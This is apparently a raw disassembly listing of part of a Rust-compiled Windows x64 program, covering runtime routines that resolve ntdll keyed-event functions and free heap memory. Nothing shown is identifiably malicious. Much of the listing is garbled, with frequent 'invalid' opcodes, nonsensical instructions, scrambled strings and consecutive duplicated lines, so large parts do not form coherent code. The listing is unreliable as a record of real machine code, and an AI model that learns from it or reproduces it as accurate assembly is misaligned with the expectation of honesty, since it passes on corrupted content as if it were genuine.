adc byte [rcx + r15 - 0x40], r9b
add esp, 0x20
rol byte [rcx - 0x46], 0x3e
add byte [rax], al
sti
sbb dh, byte [rbx + 0x29]
ror dword [rcx - 1], cl
ror dword [rcx + rcx*4 + 0x4e], 0x10
sar ah, cl
dec dword [rcx - 0x7bfe4f3f]
leave
add eax, dword [rax]
and byte [rax - 0x7b], r9b
leave
add r8d, dword [rax]
add eax, dword [rax]
add byte [rax], al
int1
invalid
test ecx, ecx
invalid
dec esp
int3
int3
jno 0x14004eaff
retf
adc byte [rax], al
add byte [rax], al
sal byte [rbp + 0xd], 0x48
mov dword [rbx], 0
add byte [rcx], dh
dec dword [rcx - 0x3b7cb708]
xor byte [rbx + 0x5f], bl
pop rsi
pop rdi
std
dec dword [rcx + 0x48b2ebc7]
lea edx, [0x14008300a]
mov bl, 0xca
cld
inc dword [rax + rax*8 - 0x76b3668b]
jl 0x14004ebc9
sub byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
int3
xor byte [rax - 0x77], cl
iretd
mov rdi, rcx
mov rsi, qword [rcx]
test rsi, rsi
je 0x14004ecb7
add byte [rax], al
add byte [rax], al
mov ebx, edx
mov rdx, qword [rdi + 8]
push rdi
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
ror dword [rax - 0x75], cl
push rdi
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
mov ecx, eax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rcx, rdx
jae 0x14004ec81
invalid
mov byte [rax], al
add byte [rax], al
or dword [rax + 0x49000000], 0xffffff89
leave
add byte [rax], al
mov r9, rcx
movzx eax, byte [rsi + rcx]
inc rcx
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
mov dword [rdi + 0x10], ecx
adc byte [r13 + r9*4 + 0x50], r8b
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx - 0x21]
lea r10d, [rax - 0x30]
cmp r10b, 0xa
jb 0x14004ebf0
lea r10d, [rax - 0x61]
cmp r10b, 6
jb 0x14004ebf0
cmp al, 0x5f
jne 0x14004ec81
mov r14, r9
sub r14, r8
jb 0x14004ed60
invalid
add byte [rbp - 0x7b], cl
sal byte [rbx + rcx + 0x42], 0x80
cmp al, 6
mov edi, 0x1258e0f
test r8, r8
je 0x14004ec3b
cmp byte [rsi + r8], 0xbf
jle 0x14004ed60
add byte [rax], al
add rsi, r8
mov rcx, rsi
mov rdx, r14
call fcn.14004efd0
test rax, rax
je case.0x1400337d9.366
invalid
add eax, dword [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
jg 0x14004ec76
mov rdi, qword [rdi + 0x20]
mov edi, dword [rdi + 0x20]
mov qword [rsp + 0x28], rdx
test rdi, rdi
je 0x14004ed51
in eax, dx
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
mov rdx, rdi
call fcn.14001acd0
mov bpl, 1
mov ch, 1
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x14004eca7
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
call fcn.14001b650
mov bpl, 1
test al, al
jne 0x14004ed53
add byte [rax], al
mov rcx, qword [rdi + 0x20]
test rcx, rcx
leave
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
xchg dword [rax], eax
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14004eef4
lea rdx, [0x1400830b1]
invalid
and al, 0x30
sbb byte [rbp - 0x7c], r8b
ror byte [rdi], 0x95
ret 0x8948
cmc
invalid
mov bl, 0x41
add eax, dword [rax]
cld
dec dword [rcx - 0x7bfe4f3f]
leave
mov dword [rsi], 0
invalid
add dword [rax], eax
add byte [rax], al
jmp 0x14004f7c1
mov rax, rdi
mov rdx, rsi
mov edx, esi
mov edx, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
inc dword [rax + rax*8 + 0x19b850f]
add byte [rax], al
test byte [rbx + 0x4c000000], ch
mov ecx, dword [rsi + 8]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x80], al
cmp al, 0
jae 0x14004f88d
test ebp, ebx
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add qword [rax - 0x77], rcx
adc byte [rcx + r15 - 0x37], r9b
adc byte [rcx + rdi - 0x37], cl
adc byte [rcx + rdi - 0x37], cl
leave
cmp byte [rax + rcx], 0x5f
or byte [rdi + 0x75], bl
or eax, 0x2c08348
add eax, 2
add eax, 2
add cl, byte [rax - 0x77]
adc cl, r13b
jmp case.0x140024658.448
invalid
add byte [rax], al
add byte [rcx], dh
shl byte [rsi + 0x2e], 0xf
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rdi - 0x37], cl
cmp ecx, ecx
add byte [rcx + 0xf], al
mov dh, 0x14
or byte [rax - 0x7bf0a006], al
cli
pop rdi
invalid
test byte [rbp], bh
cli
pop rdi
add byte [rax], al
or dh, byte [rdx + 0x23]
lea edx, [rdx - 0x41]
adc bl, 0
add byte [rax], al
mov dh, 0xd2
and byte [rax - 0x7b], r9b
leave
test dl, ch
add byte [rax], al
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
invalid
adc eax, 0x3377f
add byte [rax], al
test byte [rcx], bh
add byte [rax], al
invalid
and al, 0x27
add byte [rax - 0x73], cl
and al, 0x24
jl 0x14004fb81
add byte [rcx + rdi - 0x48], sil
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
add eax, dword [rax]
cmp bl, 0xf0
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x48
invalid
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x70], ecx
and al, 0x78
test eax, eax
add byte [rax], al
int 0x29
ud2
mov rsi, r9
mov ebx, r8d
mov rdi, rdx
mov r14, rcx
lea rcx, str.ntdll
sbb eax, dword [rbx]
add bh, bh
adc eax, 0x42bf6
sbb eax, dword [rbx]
add bh, bh
adc eax, 0x42bf6
test rax, rax
je 0x14005425c
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
jne 0x140054263
lea rax, [0x140054290]
mov qword [0x14009d7b0], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
lea rax, str.keyed_events_not_available
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [0x14008d200]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str.A_h4n_G7_a__9T___1V___u_____AK_5__W
sbb eax, dword [rbx]
add byte [rax - 0x73], cl
enter 0x19e8, 0xfffffffffffffff3
add dword [rax], eax
sbb eax, dword [rbx]
add byte [rax - 0x73], cl
enter 0x19e8, 0xfffffffffffffff3
add dword [rax], eax
ud2
add byte [rax], 0
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
call fcn.140073d00
int3
int3
mov esi, r9d
mov rdi, r8
mov ebx, edx
mov r14, rcx
lea rcx, str.ntdll
add eax, dword [rax]
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
add al, 0
test rax, rax
je 0x14005433b
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
sar edi, 0x15
and ch, byte [rbx]
add al, 0
sar edi, 0x15
and ch, byte [rbx]
add al, 0
test rax, rax
jne 0x140054342
lea rax, [0x140054360]
mov qword [0x14009d7a0], rax
add al, 0
mov rcx, r14
mov edx, ebx
fimul dword [rcx - 0x77]
clc
invalid
add byte [rax - 0x77], cl
fmul dword [r15]
push rdi
ror byte [rdi], 0x11
movups xmmword [rbp - 0x20], xmm0
invalid
movups xmmword [rbp - 0x20], xmm0
lea rdx, str.A_h4n_G7_a__9T___1V___u_____AK_5__W
lea edx, [0x140085db8]
lea rcx, [rbp - 0x38]
call fcn.1400735f0
ud2
add dword [rax], eax
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
and al, 0x28
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x14009e330]
mov rcx, rsi
ja 0x1400545e3
mov eax, ebx
sal byte [rbp - 0x2c], 0xeb
mov al, 0xcc
int3
adc eax, 0x42826
xor dword [rax], ebp
add al, 0
mov r8, rax
call fcn.140073730
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp - 0x20], xmm0
lea rax, str.__y_U_f_W5_qU_R_6_D9rgBU_SZ____bH__6_TvH
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
adc al, 3
add byte [rbp + rcx*4 + 0xd], cl
outsb dx, byte [rsi]
jmp 0xcd514f0e
loopne 0x140054ec9
sub eax, dword [rax]
add byte [rax], al
call fcn.140073b40
adc al, 3
add byte [rbp + rcx*4 + 0xd], cl
outsb dx, byte [rsi]
jmp 0xcd514f0e
mov qword [rbp - 0x10], 0
lea r9, str.__y_U_f_W5_qU_R_6_D9rgBU_SZ____bH__6_TvH
lea rcx, [rbp - 0x48]
jmp 0x140054f40
mov qword [rbp - 0x10], 0
lea r9, str.__y_U_f_W5_qU_R_6_D9rgBU_SZ____bH__6_TvH
lea rcx, [rbp - 0x50]
lea ecx, [rbp - 0x50]
lea ecx, [rbp - 0x50]
lea rdx, [rbp - 0x20]
lea r8, [rbp - 0x10]
call fcn.140076ef0
int3
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
sar r15b, 0x15
invalid
invalid
add al, 0
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
sar r15b, 0x15
invalid
add al, 0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov edi, edx
push rdi
ror byte [rdi], 0x11
and al, 0x38
stc
add al, 0
enter 0x4802, 0xffffffffffffff8d
and al, 0x48
add eax, 2
add byte [rcx + 0x80f9], al
add byte [rdx - 0x1e], dh
add dword [rax], eax
add byte [rax], al
sbb eax, dword [rax + rax]
add al, 0
invalid
mov r8, rcx
lock dec qword [rcx + 8]
jne 0x1400558b0
mov rcx, qword [0x14009e2b0]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
ror byte [rax - 1], cl
and eax, 0x415f8
ret
lea edi, [rsi + rsi]
movzx eax, byte [0x14009e330]
xor ecx, ecx
add byte [rcx], dh
leave
mov rdx, rdi
call fcn.14005ea40
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add al, byte [rax]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add al, byte [rax]
add byte [rax - 0x77], cl
jne 0x14005590b
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
add rbx, r14
xor edi, edi
mov r12, 0xffffffffffffffff
lea r15, [rbp - 0x18]
xor r13d, r13d
jmp 0x14005595f
invalid
add byte [rax], al
mov ecx, ebp
mov dh, 0x46
add dword [rcx - 0x7d], eax
loopne 0x1400559ce
outsb dx, byte [rsi]
add al, byte [rcx - 0x3f]
loopne 0x1400559a4
invalid
add byte [rax], al
add byte [rsi + 0xf], dh
rol byte [rbx], 0x4d
cmovb eax, esp
add byte [rcx - 0x7f], al
in eax, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rcx + rcx*4 - 0x12], al
cmp edi, 8
invalid
cmp dword [rcx + 4], 0
cmp dword [rcx + 8], 0
cmp dword [rcx + 0xa], 0
cmp dword [rcx + 0xc], 0
adc dword [rax], eax
lea eax, [0x1400856f0]
add byte [rax], al
or byte [rax - 0x77], 1
mov ecx, dword [0x14009e2b0]
sar bh, cl
adc eax, 0x41396
adc al, 0x48
lea ecx, [rbp - 0x18]
cli
add byte [rax], al
invalid
jge 0x140055b26
clc
mov dword [rax + rdi*2], 0xff480000
add byte [rax - 1], cl
invalid
clc
js 0x140055b54
adc dword [rax], eax
add esp, 0x48
pop rsi
call fcn.140016fd0
adc al, 0xfc
invalid
mov ecx, 2
add byte [rax - 0x77], cl
cli
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
cmp qword [rbp - 0x18], 0
call 0x18c18cf91
add byte [rcx], dh
sar bh, cl
adc eax, 0x41305
invalid
adc eax, dword [rax + rax]
adc eax, dword [rax + rax]
pop rsp
pop rsi
adc eax, 0x4c158d48
add dword [rbx], eax
stc
push qword [rbp + 0x49]
mov eax, dword [0x14009d7a0]
lea ecx, [rsp + 0x30]
add al, al
xor eax, eax
leave
sar bh, 0xff
invalid
cmpxchg dword [0x14009d790], ecx
jp 0x140055d7f
add byte [rsp + rcx + 0x48], dh
mov edi, eax
invalid
invalid
mov ecx, edi
jp case.0x14003357f.348
xor eax, eax
and al, 0x2c
add eax, 0xfffcd1da
add eax, 0x2fdde
add byte [rax], al
nop
invalid
jle 0x140055e7e
mov ebx, eax
xor ecx, ecx
push rdi
invalid
ror byte [rcx - 9], cl
invalid
ror dword [rax - 0x77], 0xc8
mov eax, ecx
or ebp, dword [rcx - 0x30]
add dl, cl
invalid
cmp ebp, dword [rcx]
ror dword [rcx - 0x3b7cb736], 1
add esp, 0x48
pop rsi
add esp, 0x48
add al, ch
invalid
xlatb
add dword [rax], eax
invalid
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
mov dword [rbp - 0x10], eax
jl 0x140055ffe
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
sbb ebx, ebx
add dword [rax], eax
invalid
add byte [rdi], cl
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10